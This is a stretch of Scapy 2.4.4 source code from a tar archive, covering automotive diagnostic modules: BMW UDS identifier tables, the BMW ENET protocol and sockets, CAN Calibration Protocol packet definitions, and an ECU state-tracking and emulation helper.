UDS_RC.routineControlIdentifiers[0xe1bc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1bd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1be] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1bf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1c9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ca] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ce] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1cf] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1d9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1da] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1db] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1dc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1dd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1de] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1df] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1e9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ea] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1eb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ec] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ed] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ee] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ef] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f0] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f1] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f2] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f3] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f4] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f5] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f6] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f7] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f8] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1f9] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fa] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fb] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fc] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fd] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1fe] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe1ff] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xf013] = "DeactivateSegeln" UDS_RC.routineControlIdentifiers[0xf043] = "RequestDeactivateMontagemodus" UDS_RC.routineControlIdentifiers[0xf760] = "ResetActivationline" UDS_RC.routineControlIdentifiers[0xff00] = "eraseMemory" UDS_RC.routineControlIdentifiers[0xff01] = "checkProgrammingDependencies" UDS_RD.dataFormatIdentifiers[0x0001] = "BMW_ROM_EPROM_internal" UDS_RD.dataFormatIdentifiers[0x0002] = "BMW_ROM_EPROM_external" UDS_RD.dataFormatIdentifiers[0x0003] = "BMW_NVRAM_characteristicZones_DTCmemory" # noqa E501 UDS_RD.dataFormatIdentifiers[0x0004] = "BMW_RAM_internal_shortMOV" UDS_RD.dataFormatIdentifiers[0x0005] = "BMW_RAM_external_xDataMOV" UDS_RD.dataFormatIdentifiers[0x0006] = "BMW_flashEPROM_internal" UDS_RD.dataFormatIdentifiers[0x0007] = "BMW_UIFmemory" UDS_RD.dataFormatIdentifiers[0x0008] = "BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs" # noqa E501 UDS_RD.dataFormatIdentifiers[0x0009] = "BMW_flashEPROM_external" UDS_RD.dataFormatIdentifiers[0x000b] = "BMW_RAM_internal_longMOVatRegister" UDS_RD.dataFormatIdentifiers[0x0010] = "NRV and noEncryptingMethod" UDS_RSDBI.dataIdentifiers = UDS_RDBI.dataIdentifiers scapy-2.4.4/scapy/contrib/automotive/bmw/enet.py000066400000000000000000000054531372370053500217210ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = ENET - BMW diagnostic protocol over Ethernet # scapy.contrib.status = loads import struct import socket from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import IntField, ShortEnumField, XByteField from scapy.layers.inet import TCP from scapy.supersocket import StreamSocket from scapy.contrib.automotive.uds import UDS from scapy.contrib.isotp import ISOTP from scapy.error import Scapy_Exception from scapy.data import MTU """ BMW specific diagnostic over IP protocol implementation ENET """ # #########################ENET################################### class ENET(Packet): name = 'ENET' fields_desc = [ IntField('length', None), ShortEnumField('type', 1, {0x01: "message", 0x02: "echo"}), XByteField('src', 0), XByteField('dst', 0), ] def hashret(self): hdr_hash = struct.pack("B", self.src ^ self.dst) pay_hash = self.payload.hashret() return hdr_hash + pay_hash def answers(self, other): if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 def extract_padding(self, s): return s[:self.length - 2], s[self.length - 2:] def post_build(self, pkt, pay): """ This will set the LenField 'length' to the correct value. """ if self.length is None: pkt = struct.pack("!I", len(pay) + 2) + pkt[4:] return pkt + pay bind_bottom_up(TCP, ENET, sport=6801) bind_bottom_up(TCP, ENET, dport=6801) bind_layers(TCP, ENET, sport=6801, dport=6801) bind_layers(ENET, UDS) # ########################ENETSocket################################### class ENETSocket(StreamSocket): def __init__(self, ip='127.0.0.1', port=6801): self.ip = ip self.port = port s = socket.socket() s.connect((self.ip, self.port)) StreamSocket.__init__(self, s, ENET) class ISOTP_ENETSocket(ENETSocket): def __init__(self, src, dst, ip='127.0.0.1', port=6801, basecls=ISOTP): super(ISOTP_ENETSocket, self).__init__(ip, port) self.src = src self.dst = dst self.basecls = ENET self.outputcls = basecls def send(self, x): if not isinstance(x, ISOTP): raise Scapy_Exception("Please provide a packet class based on " "ISOTP") super(ISOTP_ENETSocket, self).send( ENET(src=self.src, dst=self.dst) / x) def recv(self, x=MTU): pkt = super(ISOTP_ENETSocket, self).recv(x) return self.outputcls(bytes(pkt[1])) scapy-2.4.4/scapy/contrib/automotive/ccp.py000066400000000000000000000340461372370053500207460ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = CAN Calibration Protocol (CCP) # scapy.contrib.status = loads import struct from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import XIntField, FlagsField, ByteEnumField, \ ThreeBytesField, XBitField, ShortField, IntField, XShortField, \ ByteField, XByteField, StrFixedLenField, LEShortField from scapy.layers.can import CAN class CCP(CAN): name = 'CAN Calibration Protocol' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), ByteField('length', 8), ThreeBytesField('reserved', 0), ] def extract_padding(self, p): return p, None class CRO(Packet): commands = { 0x01: "CONNECT", 0x1B: "GET_CCP_VERSION", 0x17: "EXCHANGE_ID", 0x12: "GET_SEED", 0x13: "UNLOCK", 0x02: "SET_MTA", 0x03: "DNLOAD", 0x23: "DNLOAD_6", 0x04: "UPLOAD", 0x0F: "SHORT_UP", 0x11: "SELECT_CAL_PAGE", 0x14: "GET_DAQ_SIZE", 0x15: "SET_DAQ_PTR", 0x16: "WRITE_DAQ", 0x06: "START_STOP", 0x07: "DISCONNECT", 0x0C: "SET_S_STATUS", 0x0D: "GET_S_STATUS", 0x0E: "BUILD_CHKSUM", 0x10: "CLEAR_MEMORY", 0x18: "PROGRAM", 0x22: "PROGRAM_6", 0x19: "MOVE", 0x05: "TEST", 0x09: "GET_ACTIVE_CAL_PAGE", 0x08: "START_STOP_ALL", 0x20: "DIAG_SERVICE", 0x21: "ACTION_SERVICE" } name = 'Command Receive Object' fields_desc = [ ByteEnumField('cmd', 0x01, commands), ByteField('ctr', 0) ] def hashret(self): return struct.pack('B', self.ctr) # ##### CROs ###### class CONNECT(Packet): fields_desc = [ LEShortField('station_address', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4), ] bind_layers(CRO, CONNECT, cmd=0x01) class GET_CCP_VERSION(Packet): fields_desc = [ XByteField('main_protocol_version', 0), XByteField('release_version', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, GET_CCP_VERSION, cmd=0x1B) class EXCHANGE_ID(Packet): fields_desc = [ StrFixedLenField('ccp_master_device_id', b'\x00' * 6, length=6) ] bind_layers(CRO, EXCHANGE_ID, cmd=0x17) class GET_SEED(Packet): fields_desc = [ XByteField('resource', 0), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, GET_SEED, cmd=0x12) class UNLOCK(Packet): fields_desc = [ StrFixedLenField('key', b'\x00' * 6, length=6) ] bind_layers(CRO, UNLOCK, cmd=0x13) class SET_MTA(Packet): fields_desc = [ XByteField('mta_num', 0), XByteField('address_extension', 0), XIntField('address', 0), ] bind_layers(CRO, SET_MTA, cmd=0x02) class DNLOAD(Packet): fields_desc = [ XByteField('size', 0), StrFixedLenField('data', b'\x00' * 5, length=5) ] bind_layers(CRO, DNLOAD, cmd=0x03) class DNLOAD_6(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 6, length=6) ] bind_layers(CRO, DNLOAD_6, cmd=0x23) class UPLOAD(Packet): fields_desc = [ XByteField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, UPLOAD, cmd=0x04) class SHORT_UP(Packet): fields_desc = [ XByteField('size', 0), XByteField('address_extension', 0), XIntField('address', 0), ] bind_layers(CRO, SHORT_UP, cmd=0x0F) class SELECT_CAL_PAGE(Packet): fields_desc = [ StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) ] bind_layers(CRO, SELECT_CAL_PAGE, cmd=0x11) class GET_DAQ_SIZE(Packet): fields_desc = [ XByteField('DAQ_num', 0), XByteField('ccp_reserved', 0), XIntField('DTO_identifier', 0), ] bind_layers(CRO, GET_DAQ_SIZE, cmd=0x14) class SET_DAQ_PTR(Packet): fields_desc = [ XByteField('DAQ_num', 0), XByteField('ODT_num', 0), XByteField('ODT_element', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] bind_layers(CRO, SET_DAQ_PTR, cmd=0x15) class WRITE_DAQ(Packet): fields_desc = [ XByteField('DAQ_size', 0), XByteField('address_extension', 0), XIntField('address', 0), ] bind_layers(CRO, WRITE_DAQ, cmd=0x16) class START_STOP(Packet): fields_desc = [ XByteField('mode', 0), XByteField('DAQ_num', 0), XByteField('ODT_num', 0), XByteField('event_channel', 0), XShortField('transmission_rate', 0), ] bind_layers(CRO, START_STOP, cmd=0x06) class DISCONNECT(Packet): fields_desc = [ ByteEnumField('type', 0, {0: "temporary", 1: "end_of_session"}), StrFixedLenField('ccp_reserved0', b'\xff' * 1, length=1), LEShortField('station_address', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, DISCONNECT, cmd=0x07) class SET_S_STATUS(Packet): name = "Set Session Status" fields_desc = [ FlagsField("session_status", 0, 8, ["CAL", "DAQ", "RESUME", "RES0", "RES1", "RES2", "STORE", "RUN"]), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, SET_S_STATUS, cmd=0x0C) class GET_S_STATUS(Packet): fields_desc = [ StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) ] bind_layers(CRO, GET_S_STATUS, cmd=0x0D) class BUILD_CHKSUM(Packet): fields_desc = [ IntField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, BUILD_CHKSUM, cmd=0x0E) class CLEAR_MEMORY(Packet): fields_desc = [ IntField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, CLEAR_MEMORY, cmd=0x10) class PROGRAM(Packet): fields_desc = [ XByteField('size', 0), StrFixedLenField('data', b'\x00' * 0, length_from=lambda pkt: pkt.size), StrFixedLenField('ccp_reserved', b'\xff' * 5, length_from=lambda pkt: 5 - pkt.size) ] bind_layers(CRO, PROGRAM, cmd=0x18) class PROGRAM_6(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 6, length=6) ] bind_layers(CRO, PROGRAM_6, cmd=0x22) class MOVE(Packet): fields_desc = [ IntField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, MOVE, cmd=0x19) class TEST(Packet): fields_desc = [ LEShortField('station_address', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, TEST, cmd=0x05) class GET_ACTIVE_CAL_PAGE(Packet): fields_desc = [ StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) ] bind_layers(CRO, GET_ACTIVE_CAL_PAGE, cmd=0x09) class START_STOP_ALL(Packet): fields_desc = [ ByteEnumField('type', 0, {0: "stop", 1: "start"}), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, START_STOP_ALL, cmd=0x08) class DIAG_SERVICE(Packet): fields_desc = [ ShortField('diag_service', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, DIAG_SERVICE, cmd=0x20) class ACTION_SERVICE(Packet): fields_desc = [ ShortField('action_service', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, ACTION_SERVICE, cmd=0x21) # ##### DTOs ###### class DEFAULT_DTO(Packet): fields_desc = [ StrFixedLenField('load', b'\xff' * 5, length=5), ] class GET_CCP_VERSION_DTO(Packet): fields_desc = [ XByteField('main_protocol_version', 0), XByteField('release_version', 0), StrFixedLenField('ccp_reserved', b'\x00' * 3, length=3) ] class EXCHANGE_ID_DTO(Packet): fields_desc = [ ByteField('slave_device_ID_length', 0), ByteField('data_type_qualifier', 0), ByteField('resource_availability_mask', 0), ByteField('resource_protection_mask', 0), StrFixedLenField('ccp_reserved', b'\xff' * 1, length=1), ] class GET_SEED_DTO(Packet): fields_desc = [ XByteField('protection_status', 0), StrFixedLenField('seed', b'\x00' * 4, length=4) ] class UNLOCK_DTO(Packet): fields_desc = [ ByteField('privilege_status', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4), ] class DNLOAD_DTO(Packet): fields_desc = [ XByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class DNLOAD_6_DTO(Packet): fields_desc = [ XByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class UPLOAD_DTO(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 5, length=5) ] class SHORT_UP_DTO(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 5, length=5) ] class GET_DAQ_SIZE_DTO(Packet): fields_desc = [ XByteField('DAQ_list_size', 0), XByteField('first_pid', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] class GET_S_STATUS_DTO(Packet): fields_desc = [ FlagsField("session_status", 0, 8, ["CAL", "DAQ", "RESUME", "RES0", "RES1", "RES2", "STORE", "RUN"]), ByteField('information_qualifier', 0), StrFixedLenField('information', b'\x00' * 3, length=3) ] class BUILD_CHKSUM_DTO(Packet): fields_desc = [ ByteField('checksum_size', 0), StrFixedLenField('checksum_data', b'\x00' * 4, length_from=lambda pkt: pkt.checksum_size), StrFixedLenField('ccp_reserved', b'\xff' * 0, length_from=lambda pkt: 4 - pkt.checksum_size) ] class PROGRAM_DTO(Packet): fields_desc = [ ByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class PROGRAM_6_DTO(Packet): fields_desc = [ ByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class GET_ACTIVE_CAL_PAGE_DTO(Packet): fields_desc = [ XByteField('address_extension', 0), XIntField('address', 0) ] class DIAG_SERVICE_DTO(Packet): fields_desc = [ ByteField('data_length', 0), ByteField('data_type', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] class ACTION_SERVICE_DTO(Packet): fields_desc = [ ByteField('data_length', 0), ByteField('data_type', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] class DTO(Packet): __slots__ = Packet.__slots__ + ["payload_cls"] return_codes = { 0x00: "acknowledge / no error", 0x01: "DAQ processor overload", 0x10: "command processor busy", 0x11: "DAQ processor busy", 0x12: "internal timeout", 0x18: "key request", 0x19: "session status request", 0x20: "cold start request", 0x21: "cal. data init. request", 0x22: "DAQ list init. request", 0x23: "code update request", 0x30: "unknown command", 0x31: "command syntax", 0x32: "parameter(s) out of range", 0x33: "access denied", 0x34: "overload", 0x35: "access locked", 0x36: "resource/function not available" } fields_desc = [ XByteField("packet_id", 0xff), ByteEnumField('return_code', 0x00, return_codes), ByteField('ctr', 0) ] def __init__(self, *args, **kwargs): self.payload_cls = DEFAULT_DTO if "payload_cls" in kwargs: self.payload_cls = kwargs["payload_cls"] del kwargs["payload_cls"] Packet.__init__(self, *args, **kwargs) def __eq__(self, other): return super(DTO, self).__eq__(other) and \ self.payload_cls == other.payload_cls def guess_payload_class(self, payload): return self.payload_cls @staticmethod def get_dto_cls(cmd): try: return { 0x03: DNLOAD_DTO, 0x04: UPLOAD_DTO, 0x09: GET_ACTIVE_CAL_PAGE_DTO, 0x0D: GET_S_STATUS_DTO, 0x0E: BUILD_CHKSUM_DTO, 0x0F: SHORT_UP_DTO, 0x12: GET_SEED_DTO, 0x13: UNLOCK_DTO, 0x14: GET_DAQ_SIZE_DTO, 0x17: EXCHANGE_ID_DTO, 0x18: PROGRAM_DTO, 0x1B: GET_CCP_VERSION_DTO, 0x20: DIAG_SERVICE_DTO, 0x21: ACTION_SERVICE_DTO, 0x22: PROGRAM_6_DTO, 0x23: DNLOAD_6_DTO }[cmd] except KeyError: return DEFAULT_DTO def answers(self, other): """In CCP, the payload of a DTO packet is dependent on the cmd field of a corresponding CRO packet. Two packets correspond, if there ctr field is equal. If answers detect the corresponding CRO, it will interpret the payload of a DTO with the correct class. In CCP, there is no other way, to determine the class of a DTO payload. Since answers is called on sr and sr1, this modification of the original answers implementation will give a better user experience. """ if not hasattr(other, "ctr"): return 0 if self.ctr != other.ctr: return 0 if not hasattr(other, "cmd"): return 0 new_pl_cls = self.get_dto_cls(other.cmd) if self.payload_cls != new_pl_cls and \ self.payload_cls == DEFAULT_DTO: data = bytes(self.load) self.remove_payload() self.add_payload(new_pl_cls(data)) self.payload_cls = new_pl_cls return 1 def hashret(self): return struct.pack('B', self.ctr) bind_bottom_up(CCP, DTO) scapy-2.4.4/scapy/contrib/automotive/ecu.py000066400000000000000000000410011372370053500207420ustar00rootroot00000000000000#! /usr/bin/env python # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = Helper class for tracking ECU states (ECU) # scapy.contrib.status = loads import time import random from collections import defaultdict from scapy.packet import Raw, Packet from scapy.plist import PacketList from scapy.error import Scapy_Exception from scapy.sessions import DefaultSession from scapy.ansmachine import AnsweringMachine from scapy.config import conf __all__ = ["ECU_State", "ECU", "ECUResponse", "ECUSession", "ECU_am"] class ECU_State(object): def __init__(self, session=1, tester_present=False, security_level=0, communication_control=0, **kwargs): self.session = session self.security_level = security_level self.communication_control = communication_control self._tp = tester_present self.misc = kwargs def reset(self): self.session = 1 self.security_level = 0 self.communication_control = 0 self._tp = False self.misc = dict() @property def tp(self): return self._tp or self.session > 1 def __eq__(self, other): return other.session == self.session and other.tp == self.tp and \ other.misc == self.misc and \ self.security_level == other.security_level def __ne__(self, other): return not other == self def __lt__(self, other): if self.session == other.session: return len(self.misc) < len(other.misc) return self.session < other.session def __hash__(self): return hash(repr(self)) def __repr__(self): tps = "_TP" if self.tp else "" sl = "_SL%d" % self.security_level if self.security_level else "" ks = "_" + "_".join(self.misc.keys()) if len(self.misc) else "" return "%d%s%s%s" % (self.session, tps, sl, ks) class ECU(object): """A ECU object can be used to - track the states of an ECU. - to log all modification to an ECU - to extract supported responses of a real ECU Usage: >>> print("This ecu logs, tracks and creates supported responses") >>> my_virtual_ecu = ECU() >>> my_virtual_ecu.update(PacketList([...])) >>> my_virtual_ecu.supported_responses >>> print("Another ecu just tracks") >>> my_tracking_ecu = ECU(logging=False, store_supported_responses=False) # noqa: E501 >>> my_tracking_ecu.update(PacketList([...])) >>> print("Another ecu just logs all modifications to it") >>> my_logging_ecu = ECU(verbose=False, store_supported_responses=False) # noqa: E501 >>> my_logging_ecu.update(PacketList([...])) >>> my_logging_ecu.log >>> print("Another ecu just creates supported responses") >>> my_response_ecu = ECU(verbose=False, logging=False) >>> my_response_ecu.update(PacketList([...])) >>> my_response_ecu.supported_responses """ def __init__(self, init_session=None, init_security_level=None, init_communication_control=None, logging=True, verbose=True, store_supported_responses=True): """ Initialize an ECU object :param init_session: An initial session :param init_security_level: An initial security level :param init_communication_control: An initial communication control setting :param logging: Turn logging on or off. Default is on. :param verbose: Turn tracking on or off. Default is on. :param store_supported_responses: Turn creation of supported responses on or off. Default is on. """ self.state = ECU_State( session=init_session or 1, security_level=init_security_level or 0, communication_control=init_communication_control or 0) self.verbose = verbose self.logging = logging self.store_supported_responses = store_supported_responses self.log = defaultdict(list) self._supported_responses = list() self._unanswered_packets = PacketList() @property def current_session(self): return self.state.session @current_session.setter def current_session(self, ses): self.state.session = ses @property def current_security_level(self): return self.state.security_level @current_security_level.setter def current_security_level(self, sec): self.state.security_level = sec @property def communication_control(self): return self.state.communication_control @communication_control.setter def communication_control(self, cc): self.state.communication_control = cc def reset(self): self.state.reset() def update(self, p): if isinstance(p, PacketList): for pkt in p: self._update(pkt) elif not isinstance(p, Packet): raise Scapy_Exception("Provide a Packet object for an update") else: self._update(p) def _update(self, pkt): if self.verbose: print(repr(self), repr(pkt)) if self.store_supported_responses: self._update_supported_responses(pkt) if self.logging: self._update_log(pkt) self._update_internal_state(pkt) def _update_log(self, pkt): for layer in pkt.layers(): if hasattr(layer, "get_log"): log_key, log_value = layer.get_log(pkt) self.log[log_key].append((pkt.time, log_value)) def _update_internal_state(self, pkt): for layer in pkt.layers(): if hasattr(layer, "modifies_ecu_state"): layer.modifies_ecu_state(pkt, self) def _update_supported_responses(self, pkt): self._unanswered_packets += PacketList([pkt]) answered, unanswered = self._unanswered_packets.sr() for _, resp in answered: ecu_resp = ECUResponse(session=self.current_session, security_level=self.current_security_level, responses=resp) if ecu_resp not in self._supported_responses: if self.verbose: print("[+] ", repr(ecu_resp)) self._supported_responses.append(ecu_resp) else: if self.verbose: print("[-] ", repr(ecu_resp)) self._unanswered_packets = unanswered @property def supported_responses(self): # This sorts responses in the following order: # 1. Positive responses first # 2. Lower ServiceID first # 3. Longer (more specific) responses first self._supported_responses.sort( key=lambda x: (x.responses[0].service == 0x7f, x.responses[0].service, 0xffffffff - len(x.responses[0]))) return self._supported_responses @property def unanswered_packets(self): return self._unanswered_packets def __repr__(self): return "ses: %03d sec: %03d cc: %d" % (self.current_session, self.current_security_level, self.communication_control) class ECUSession(DefaultSession): """Tracks modification to an ECU 'on-the-flow'. Usage: >>> sniff(session=ECUSession) """ def __init__(self, *args, **kwargs): DefaultSession.__init__(self, *args, **kwargs) self.ecu = ECU(init_session=kwargs.pop("init_session", None), init_security_level=kwargs.pop("init_security_level", None), # noqa: E501 init_communication_control=kwargs.pop("init_communication_control", None), # noqa: E501 logging=kwargs.pop("logging", True), verbose=kwargs.pop("verbose", True), store_supported_responses=kwargs.pop("store_supported_responses", True)) # noqa: E501 def on_packet_received(self, pkt): if not pkt: return if isinstance(pkt, list): for p in pkt: ECUSession.on_packet_received(self, p) return self.ecu.update(pkt) DefaultSession.on_packet_received(self, pkt) class ECUResponse: """Encapsulates a response and the according ECU state. A list of this objects can be used to configure a ECU Answering Machine. This is useful, if you want to clone the behaviour of a real ECU on a bus. Usage: >>> print("Generates a ECUResponse which answers on UDS()/UDS_RDBI(identifiers=[2]) if ECU is in session 2 and has security_level 2") # noqa: E501 >>> ECUResponse(session=2, security_level=2, responses=UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b"deadbeef1")) # noqa: E501 >>> print("Further examples") >>> ECUResponse(session=range(3,5), security_level=[3,4], responses=UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b"deadbeef2")) # noqa: E501 >>> ECUResponse(session=[5,6,7], security_level=range(5,7), responses=UDS()/UDS_RDBIPR(dataIdentifier=5)/Raw(b"deadbeef3")) # noqa: E501 >>> ECUResponse(session=lambda x: 8 < x <= 10, security_level=lambda x: x > 10, responses=UDS()/UDS_RDBIPR(dataIdentifier=9)/Raw(b"deadbeef4")) # noqa: E501 """ def __init__(self, session=1, security_level=0, responses=Raw(b"\x7f\x10"), answers=None): """ Initialize an ECUResponse capsule :param session: Defines the session in which this response is valid. A integer, a callable or any iterable object can be provided. :param security_level: Defines the security_level in which this response is valid. A integer, a callable or any iterable object can be provided. :param responses: A Packet or a list of Packet objects. By default the last packet is asked if it answers a incoming packet. This allows to send for example `requestCorrectlyReceived-ResponsePending` packets. :param answers: Optional argument to provide a custom answer here: `lambda resp, req: return resp.answers(req)` This allows the modification of a response depending on a request. Custom SecurityAccess mechanisms can be implemented in this way or generic NegativeResponse messages which answers to everything can be realized in this way. """ self.__session = session \ if hasattr(session, "__iter__") or callable(session) else [session] self.__security_level = security_level \ if hasattr(security_level, "__iter__") or callable(security_level)\ else [security_level] if isinstance(responses, PacketList): self.responses = responses elif isinstance(responses, Packet): self.responses = PacketList([responses]) elif hasattr(responses, "__iter__"): self.responses = PacketList(responses) else: self.responses = PacketList([responses]) self.__custom_answers = answers def in_correct_session(self, current_session): if callable(self.__session): return self.__session(current_session) else: return current_session in self.__session def has_security_access(self, current_security_level): if callable(self.__security_level): return self.__security_level(current_security_level) else: return current_security_level in self.__security_level def answers(self, other): if self.__custom_answers is not None: return self.__custom_answers(self.responses[-1], other) else: return self.responses[-1].answers(other) def __repr__(self): return "session=%s, security_level=%s, responses=%s" % \ (self.__session, self.__security_level, [resp.summary() for resp in self.responses]) def __eq__(self, other): return \ self.__class__ == other.__class__ and \ self.__session == other.__session and \ self.__security_level == other.__security_level and \ len(self.responses) == len(other.responses) and \ all(bytes(x) == bytes(y) for x, y in zip(self.responses, other.responses)) def __ne__(self, other): # Python 2.7 compat return not self == other __hash__ = None conf.contribs['ECU_am'] = {'send_delay': 0} class ECU_am(AnsweringMachine): """AnsweringMachine which emulates the basic behaviour of a real world ECU. Provide a list of ``ECUResponse`` objects to configure the behaviour of this AnsweringMachine. :param supported_responses: List of ``ECUResponse`` objects to define the behaviour. The default response is ``generalReject``. :param main_socket: Defines the object of the socket to send and receive packets. :param broadcast_socket: Defines the object of the broadcast socket. Listen-only, responds with the main_socket. `None` to disable broadcast capabilities. :param basecls: Provide a basecls of the used protocol Usage: >>> resp = ECUResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10)) # noqa: E501 >>> sock = ISOTPSocket(can_iface, sid=0x700, did=0x600, basecls=UDS) # noqa: E501 >>> answering_machine = ECU_am(supported_responses=[resp], main_socket=sock, basecls=UDS) # noqa: E501 >>> sim = threading.Thread(target=answering_machine, kwargs={'count': 4, 'timeout':5}) # noqa: E501 >>> sim.start() """ function_name = "ECU_am" sniff_options_list = ["store", "opened_socket", "count", "filter", 